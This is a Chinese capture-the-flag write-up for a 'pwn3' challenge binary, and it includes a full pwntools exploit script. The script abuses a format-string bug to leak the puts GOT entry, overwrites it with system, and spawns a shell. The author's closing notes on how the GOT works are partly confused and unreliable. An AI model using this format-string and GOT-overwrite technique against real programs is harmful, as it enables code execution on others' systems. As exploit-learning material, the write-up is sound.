先checksec
看ida的第一步,首先应该输入正确的usrname,这里需要对输入的每一个字母的ascii码都加一,然后与sysbdmin进行strcmp,因此,我们输入的字符串应该是rxraclhm。
这里dest就被存入了sysbdmin的内容。
接下来是输入命令,这份博客把各函数内容说得很详细了https://www.cnblogs.com/yuren123/p/12748559.html,我们集中关注get_file函数中的fmtstr漏洞
通过对其他函数的分析,程序通过指针实现存储文件的功能,每个文件的文件头大小为40,文件内容大小为200,在get_file函数中,输入需要打印的文件的文件名,将文件内容复制至dest指针指向的空间并直接printf,基本思路是将payload通过put_file输入其中一个文件中,然后使用get_file函数利用fmtstr进行利用。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import LibcSearcher p=process('./pwn3') elf=ELF('./pwn3')
//通过第一道认证 p.recvuntil('nism):') p.sendline("rxraclhm") p.recvuntil('ftp>')
def input_file(name,content): p.sendline("put") p.recv() p.sendline(name) p.recv() p.sendline(content) p.recv()
def output_file(name): p.sendline('get') p.recv() p.sendline(name)
//泄露puts_got里的内容,及puts函数在该程序中的真正地址 input_file('1',b'%8$s'+p32(elf.got['puts'])) output_file('1')
//recv的内容前4个小端序字符为puts函数地址,后面的字符均为格式化字符串中%s后面的内容 puts_addr=u32(p.recv()[:4]) log.success('puts got:'+hex(elf.got['puts']))
//使用libcSearcher找到system函数的真正地址 libc=LibcSearcher("puts" ,puts_addr) system_offset=libc.dump('system') system_addr=puts_addr-libc.dump('puts')+system_offset
//自动生成payload,这里的格式化字符串属于printf函数的第7个参数 payload=fmtstr_payload(7, {elf.got['puts']: system_addr}) input_file('1',payload) output_file('1') p.recv() log.success('sys_addr:'+hex(system_addr))
//输入一个文件名为/bin/sh;的文件,当show_dir时会运行puts(/bin/sh;),即system(/bin/sh;) input_file('/bin/sh;','0') p.sendline('dir')
p.interactive()
|
知识点
1、字符串偏移计算
1 2 3
| input_file('1','AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') output_file('1') print(p.recv())
|
即第七个。
2、libcsearcher的使用,不知道什么原因无法直接使用,提示no moudle named ‘libcsearcher’,上网搜到的方法没能解决,将程序与py文件复制到/libcsearcher下后可正常使用。
3、关于got表,在看了一些书和资料后大概明白,在程序地址随机化时,函数的got地址指向的空间内存着函数在该程序中真正的地址,因此
①泄露时%p泄露的是got地址,%s泄露的是got地址指向的内容,即真正地址。
②使用libcsearcher进行配对的是got地址,got地址与libc库有关,而函数真正地址会随机化。